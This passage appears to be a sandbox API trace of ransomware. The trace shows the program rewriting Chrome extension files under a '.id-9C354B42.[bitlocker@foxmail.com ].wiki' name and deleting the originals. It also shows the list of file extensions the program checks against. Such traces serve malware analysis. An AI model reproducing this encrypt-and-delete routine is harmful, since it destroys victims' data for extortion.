Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json")) returned 0x2020 [0174.519] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.519] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.519] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.519] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.519] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.734] GetLastError () returned 0x0 [0174.735] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.736] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.737] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.737] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.737] SetEndOfFile (hFile=0x1b4) returned 1 [0174.737] CloseHandle (hObject=0x1b4) returned 1 [0174.737] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.737] SetEndOfFile (hFile=0x124) returned 1 [0174.738] CloseHandle (hObject=0x124) returned 1 [0174.738] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.738] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json")) returned 1 [0174.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.739] lstrlenW (lpString=".doc") returned 4 [0174.739] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.739] lstrlenW (lpString=".docx") returned 5 [0174.739] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.739] lstrlenW (lpString=".pdf") returned 4 [0174.739] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.739] lstrlenW (lpString=".xls") returned 4 [0174.739] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.739] lstrlenW (lpString=".xlsx") returned 5 [0174.739] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.739] lstrlenW (lpString=".ppt") returned 4 [0174.739] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.739] lstrlenW (lpString=".zip") returned 4 [0174.739] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.739] lstrlenW (lpString=".rar") returned 4 [0174.739] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.739] lstrlenW (lpString=".bz2") returned 4 [0174.739] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.739] lstrlenW (lpString=".7z") returned 3 [0174.739] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.739] lstrlenW (lpString=".dbf") returned 4 [0174.739] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.739] lstrlenW (lpString=".1cd") returned 4 [0174.739] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.740] lstrlenW (lpString=".jpg") returned 4 [0174.740] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.740] lstrlenW (lpString=".doc") returned 4 [0174.740] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.740] lstrlenW (lpString=".docx") returned 5 [0174.740] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.740] lstrlenW (lpString=".pdf") returned 4 [0174.740] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.740] lstrlenW (lpString=".xls") returned 4 [0174.740] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.740] lstrlenW (lpString=".xlsx") returned 5 [0174.740] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.740] lstrlenW (lpString=".ppt") returned 4 [0174.740] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.740] lstrlenW (lpString=".zip") returned 4 [0174.740] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.740] lstrlenW (lpString=".rar") returned 4 [0174.740] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.740] lstrlenW (lpString=".bz2") returned 4 [0174.740] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.740] lstrlenW (lpString=".7z") returned 3 [0174.740] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.740] lstrlenW (lpString=".dbf") returned 4 [0174.740] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.740] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.741] lstrlenW (lpString=".1cd") returned 4 [0174.741] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.741] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 153 [0174.741] lstrlenW (lpString=".jpg") returned 4 [0174.741] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.741] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.741] lstrlenW (lpString="messages.json") returned 13 [0174.741] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.741] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.741] CloseHandle (hObject=0x124) returned 1 [0174.741] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json")) returned 0x2020 [0174.742] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.742] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.742] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.742] GetLastError () returned 0x0 [0174.742] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.743] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.744] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.744] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.744] SetEndOfFile (hFile=0x1b4) returned 1 [0174.745] CloseHandle (hObject=0x1b4) returned 1 [0174.745] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.745] SetEndOfFile (hFile=0x124) returned 1 [0174.745] CloseHandle (hObject=0x124) returned 1 [0174.745] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.746] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json")) returned 1 [0174.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.746] lstrlenW (lpString=".doc") returned 4 [0174.746] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.746] lstrlenW (lpString=".docx") returned 5 [0174.746] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.746] lstrlenW (lpString=".pdf") returned 4 [0174.746] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.746] lstrlenW (lpString=".xls") returned 4 [0174.746] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.746] lstrlenW (lpString=".xlsx") returned 5 [0174.746] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.746] lstrlenW (lpString=".ppt") returned 4 [0174.746] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.746] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.746] lstrlenW (lpString=".zip") returned 4 [0174.746] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.747] lstrlenW (lpString=".rar") returned 4 [0174.747] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.747] lstrlenW (lpString=".bz2") returned 4 [0174.747] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.747] lstrlenW (lpString=".7z") returned 3 [0174.747] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.747] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.747] lstrlenW (lpString=".dbf") returned 4 [0174.747] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.747] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.747] lstrlenW (lpString=".1cd") returned 4 [0174.747] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.747] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.747] lstrlenW (lpString=".jpg") returned 4 [0174.747] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.747] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.747] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.747] lstrlenW (lpString=".doc") returned 4 [0174.747] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.747] lstrlenW (lpString=".docx") returned 5 [0174.747] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.747] lstrlenW (lpString=".pdf") returned 4 [0174.747] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.747] lstrlenW (lpString=".xls") returned 4 [0174.747] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.747] lstrlenW (lpString=".xlsx") returned 5 [0174.747] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.748] lstrlenW (lpString=".ppt") returned 4 [0174.748] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.748] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.748] lstrlenW (lpString=".zip") returned 4 [0174.748] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.748] lstrlenW (lpString=".rar") returned 4 [0174.748] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.748] lstrlenW (lpString=".bz2") returned 4 [0174.748] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.748] lstrlenW (lpString=".7z") returned 3 [0174.748] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.748] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.748] lstrlenW (lpString=".dbf") returned 4 [0174.748] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.748] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.748] lstrlenW (lpString=".1cd") returned 4 [0174.748] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.748] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 153 [0174.748] lstrlenW (lpString=".jpg") returned 4 [0174.748] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.748] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.748] lstrlenW (lpString="messages.json") returned 13 [0174.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.749] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.749] CloseHandle (hObject=0x124) returned 1 [0174.749] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json")) returned 0x2020 [0174.749] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.749] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.749] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.749] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.749] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.750] GetLastError () returned 0x0 [0174.750] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.751] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.752] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.752] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, 